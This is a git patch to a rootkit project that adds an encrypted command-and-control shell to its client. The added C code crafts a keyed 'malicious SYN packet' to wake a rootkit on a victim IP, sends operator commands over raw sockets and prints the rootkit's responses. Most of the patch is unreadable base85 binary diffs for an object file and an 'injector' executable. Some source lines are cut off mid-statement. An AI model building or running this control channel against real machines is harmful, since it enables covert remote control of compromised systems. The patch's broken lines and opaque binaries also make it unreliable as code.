From a9f0ae17f77e24eef71a0d6e2c60675e638545f9 Mon Sep 17 00:00:00 2001 From: h3xduck Date: Thu, 14 Apr 2022 09:49:08 -0400 Subject: [PATCH] Completed client payload generation --- src/client/client.c | 103 +++++++++++++++++++++++++++++++++++++++++++- src/client/client.o | Bin 9832 -> 13976 bytes src/client/injector | Bin 41824 -> 46136 bytes 3 files changed, 102 insertions(+), 1 deletion(-) diff --git a/src/client/client.c b/src/client/client.c index 5173646..17b743c 100644 --- a/src/client/client.c +++ b/src/client/client.c @@ -8,6 +8,7 @@ #include #include #include +#include #include "../common/constants.h" #include "../common/c&c.h" @@ -20,6 +21,13 @@ #define KRED "\x1B[31m" #define RESET "\x1B[0m" +//For encrypted shell +#define SYN_PACKET_PAYLOAD_LEN 0x10 +#define SYN_PACKET_KEY_1 "\x56\xA4" +#define SYN_PACKET_KEY_2 "\x78\x13" +#define SYN_PACKET_KEY_3 "\x1F\x29" +#define SYN_PACKET_SECTION_LEN 0x02 + void print_welcome_message(){ printf("*******************************************************\n"); printf("************************* TFG *************************\n"); @@ -185,6 +193,88 @@ void activate_command_control_shell(char* argv){ free(local_ip); } +void activate_command_control_shell_encrypted(char* argv){ + char* local_ip = getLocalIpAddress(); + printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); + check_ip_address_format(argv); + printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n"); + char* payload = malloc(SYN_PACKET_PAYLOAD_LEN); + srand(time(NULL)); + for(int ii=0; ii:"RESET""); + fgets(buf, BUFSIZ, stdin); + if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){ + buf[strlen(buf)-1] = '\0'; + } + + char msg[BUFSIZ]; + strcpy(msg, CC_PROT_MSG); + strcat(msg, buf); + packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, msg); + printf("Sending %s\n", msg); + if(rawsocket_send(packet)<0){ + printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n"); + return; + } + printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n"); + packet = rawsocket_sniff_pattern(CC_PROT_MSG); + char* res = packet.payload; + printf("["KGRN"RESPONSE"RESET"] %s\n", res); + } + + free(local_ip); +} + void main(int argc, char* argv[]){ if(argc<2){ @@ -204,7 +294,7 @@ void main(int argc, char* argv[]){ char path_arg[512]; //Command line argument parsing - while ((opt = getopt(argc, argv, ":S:c:h")) != -1) { + while ((opt = getopt(argc, argv, ":S:c:h:e")) != -1) { switch (opt) { case 'S': print_welcome_message(); @@ -227,6 +317,17 @@ void main(int argc, char* argv[]){ activate_command_control_shell(dest_address); PARAM_MODULE_ACTIVATED = 1; + break; + case 'e': + print_welcome_message(); + sleep(1); + //Send a secret message + printf("["KBLU"INFO"RESET"]""Activated COMMAND & CONTROL encrypted shell\n"); + //printf("Option S has argument %s\n", optarg); + strcpy(dest_address, optarg); + activate_command_control_shell_encrypted(dest_address); + PARAM_MODULE_ACTIVATED = 1; + break; /*case 'u': print_welcome_message(); diff --git a/src/client/client.o b/src/client/client.o index bc46424c3f7f22f52c1b6a1a2aeb97bba1fc8ef1..04cc106c91e780e48a7e73bbc2e7e1693e4cca0f 100644 GIT binary patch literal 13976 zcmdU$4RBP|6~|xrQVfr98z<8mORa6uQAa!2aa0_n22#sF+Odj^(_&@X)XGedv{Fk4#$wZR?mPG8@4IgQm1Cx3Q1|8T8Sv%31HRmDvb4>`^mtKQ&U?hyDQ}Pa^3Cu8 zRIs#^eR(Ciem&fnjf179LpX9h`;QF`g?#yOv*uuUa^B$6e6k<00Rbb_LdWVP>Qw(5Z?CJFuU3Vs8t%FPH8A zH+a&SJpz{<$bGpz3=j#|e-Pd_0#6Y{L;#F;mrd8!&=)Jvt&J0c4QGUsA41FEDrtrXF$)U`V zq0GQgrhh22e<-upZhObB(rmBN>mxcFeC(4!`7a$`-TC-TtrvP>;~@Ix>zF)KtN!MJ z%trvaz-M2s=h>a3h9(b5_65j?&Olk=z)+TqO}1AQ*eVL-yG8LY7No8HU~y>ce(}9m zeD{fOtcl0$Y#!f3%`l%h7F&JFk!Ww0< z>CkC6AwN3OooMBM8IE}}(Y;PMY0(dzCm2NAGGuKic2^40_1hs5PL>?U1+_< zG5$Hb?@{cS5t~ZEE;}_%$Y<^5Ww+VQ6PE%FI&|<;Z2rmC+LKMW&Df?~&nBqkB&(1; zq4HUjxlB1bOHR4rop&cpa%VMv0m|=$XWCS3^`7igfRP@aA?8l*^}Im7AS{0NY%l72 za7u@OMIAjTFJAvncu)3kaCh@lzI-PdhF%|p%XZwfe7QHB(cUTNzi=_%EtY}*$N9fX zG~z2g|3wq>TSrCuGt7V6M0W&(kyGY>5@BAh4fX_)^M8X~pkD;hUbPBL7qQ2ky7@1h zRhI00_Ea?C6wZIxS<7KkONSPNojuup zpg3RmWIu532AsPCba&`^IEdx5gYeifP}XtWQ~bcaKyq--oSMbrbVSaN8{^yL>$LZ> zqP~J}U+a^+@hb=g2L(vIoD1inEv5=Wlq>GILHo zY!R$8yCZ>p-R)!U*$D;oD#)lZtF)u+tWsX&~v(ppKQURAF(8i|k|(9=dR zWmtOLNTUheGBI!BtdfPLX?<47qS7=NCEKg50A^;xUBXJ4 zF+CkIVljO!xQsf2wrRI5SP)-P(NH_>w$k|R-c-s=>A{E* zY>g&XLqWYQ5Q~PQR=X`%^-U3j8i-o3oJ^T5ftFaio-i%DtX&Z6nIHEyG}JY)idGwz zh4sYDU?2t-%5)$RGi@aTaYGdRjOAL|sU((L7_X{bRwt^fu&h9^)kvY2X(I*^GeX!& zlc-suT}*$o=(N%5Tb9=Q>&;4ksY^NRN^DRZq85yr83+j03t>0)Xd*1?h0I_inlL;b zj~#y=mx_dLh(0ib!A!~sdGx9@^qC6zqpSU0xss(9UvqIHcUM@~8u48kA^XJXI~ zX(M4>s=*1p@!Pdjj4G##L}h89FFNIEH07;A+2)Zg)kCnL^(%O!5W8ZgqpVvA(Xh z(JR_cHkJOaOa;QCVZ$8(?WfK_i)#H<2{F+1L?+$>!^8~hfz;|u9DnrPOYAT?}Y`wCswyB}6+McMQl9Salx}1>+rrMJ* zkhul5UCoKsgt<1Mn@KBbCSb@1?IEw~YNF{h_K?$R9ft&}%NomqWsx$wS*~$Q24Gz? zEF)!yOE%}LcU@jtS*FivZpkF9j6T2Av%phYGCw08=U+|$S~U(n`0|3=?ef}Y4URs& z$i~74(^UJS72VmO6|I|6G;Q)}r+2|#IvqHEFfGR~?^#psA5(eeg!LeRN6cG{9MW&` zOXiQ+B?Oqi5;>$CemVIYocz0yLmH2Jx08Ru$$wnrYT8k}I{Am4{MRTyjg67{W7mvD z!E`_eC|?A@$v@`gpP>Bb@MX)%-#kWCAj>LObakBecX4u5vLL3IJ35UO(I3fibf3fY zBF4aU_+Wpj>1qIl__e^%jw~X&{-$N2(46Yx-r;vT@szSWjg=2it{-ZR}#25wJ z3taR!y6~G^_zD+(hYL4=qdyZ*11B)yA^_=O7k#%2f6Rsd$c1lq;m-mW{+wa^A?6_5 z;_FtSIKSk=x4ZCPx^OKRi^68<32I3^X8P9}F*uSMemc!+{^iwm*H={g>y|BR^fvjM zDz2~g`n6;RwpY6V9!dS7Xdq^;wnUVVMCfZKZFO$FAbO+4v=IuX*sDZ|hLbVm2n;T*2wXzmwB zbBz^AM8jdQWWoNKfU4mLsfEGgG`bNp5T%09@RJ+#I|l*{PCeLYc<(T@bP7C03khsc zJOH-SF~dk|a3p};9xw181_CcMY;Zpld)Wziox>!@4i4`L@R9uMaF0pq7ut``9;fPO zP`=blJ9CJu`gw{T*HcWg9#xO)HYU}6xuEv+KK>03lWPAa z#?OI#S#Ox}uQ9%sI9_n8olDOfnVyfs#~J7G+{5@}X8&E{ctQIs>G>~A&+UK2_(W!B z0-Xb-oet8?B93vuKOV~VmMZ#3NWX~b`M9cK{5)o7rDEqDvJ+r>ZfA|6pG?oDi~cUg zagCM!cQMZ6{0GK)oIfTm<0IpIg6Vmj&%l5|!V8b{mBgi;YpMJVOwZ%otmtK&Z)JKO zpN)+3ICm*_WSqO1p4)js(aShLCRPuR*52kku<+jWBx};}_uzDDqE~e-G*stivP~1Oc zdfu+F^ge(xK2K{H=kwGcF5@QWsmb)*{(8pwJk2V0rjwr!F+I90yj~5Ian-Eoo%Mw2dAl|;&c{`kV#iren4a5t zLeV?xiHrVuMK8zUi!S^tiT)AM$X#YF@XwwJFb<-}#Z)hK}EWqRJO6^!GQmHoa&vGXjg z@7r8>AG3p1N;~@)pT+pQik-X3&p$Ff_wyjr&t`UxF+D%8PQb+!5}KU~AL-8}jB`IP zXPo<4N?gWs3;DT->A9banV$Pu%ke9-=^rVApV-dJ;Zwzew6CnrEnSF zK82T&oi`M|g!o>CUr+oUg)bw%U*WR<4k)~q^!*BNApU{EZzevV@LP!wD*O)OM-<*d z{HVgi#E&a{4e=8SPY@S>q@zB^zDyAxhl31~?B6!xrz`wU;*%A=p7<1n&!+yJs_^?s zf4;&WB0gQ=a@^|*{~qaQD*RF6a}@p<@wp2B3Gq^eKS_L{!k;02jlzFMe6hlRPP|;< zFA`s>@K=cY6uzB!wZeB0uUB{v#b3T3$^P9<`dbwJbmA)&{wDEN3g1UOq;R=@>0(q3 zk1KlA$`!txo>wVc{%*EG;qrH|%?g*lFZC*1{w~z7aOd|K`umxT&qO*;Xr6R?+zPb7 z)k@jdh`dV~v4F=i)>)b-6tDuCrzM@%Jc6c7o8Vvg;pY#{1OM#B@W2nkCE|w(dS0E# zc;Fw#!0!(5?`Z6TM#LY+U(CtPFMQF#0yd4h$FWyVcXIs63<`sM6lZ$eE6W{X->kyJ zKBT?)M@dLH%&;u(shIE#gK0K=kke~4B9T6(aU-AQRjq$6WT4H@TmEV&i#D-ec{)z@ zN0h)w|D|?5+!ShmX^E|f(D@46k4vsBFWbKa7}j43AD&j>VH6U^hbP&7dBu4l@44=N zD$g0-tJ)R7@SLEw|3NCRLmp4kf5}X^L7Qs%XQ}-8N`-3qHBh!t{5D}=A@z!Hd;H)l zjw~#+9rJIg4Cz@uRLlvybG1Th5kRXc41}s HOD+E&B-}(G delta 1424 zcmZvcOK1~O6hPlh%xBDJGMUtAEYxYxw9smkOdD-nG$?^UyHFF*E<{Te)FNb25u_Tb zNkKP>+>L@Rg@B;cxN#xkLdc@vXC>m!O$ECXbPjtAC3p-gakYcPAuOM7`yfI+pm8Af?W5LMYG~AmgM?7>zq|gka(xpQU%di6302^6s3#Pm9i9UrasZ+csWTbb_CQ^Y!`WCJ zHkA;h)sn#AwW2`_>0*3TWUSMO`vr9!HCBv7*Tth@pXa(5@&{l;O>{mEbVbQDqWu!Q z*EFGO&R5O(MrSRtDnMaK=b6q7ElNTGM)qm7q96THcHr>g==Ci*NjO&>-XomHINTS& z1qx?-a5y|{bKbTG$2@mHiCG-9lu}C&A02H@>^RA(5}qeKPI#Gc+S_TuX>aE&9%D{( zt9El2K}l(~svX9yIw^CLq@!)!C47+hKP8+VA=z5#46aQlhyPdol2c*4KSPufe?2H65OV1N{}xahFq1pDv&!!gWd&;(!@mKn%6I7i diff --git a/src/client/injector b/src/client/injector index b5eb2d9dbcf6b344fdb54bba9048d3be23d1971c..9a7aad0022ab133e779c8eed5b9da7188c344103 100755 GIT binary patch delta 9495 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 CS)f}0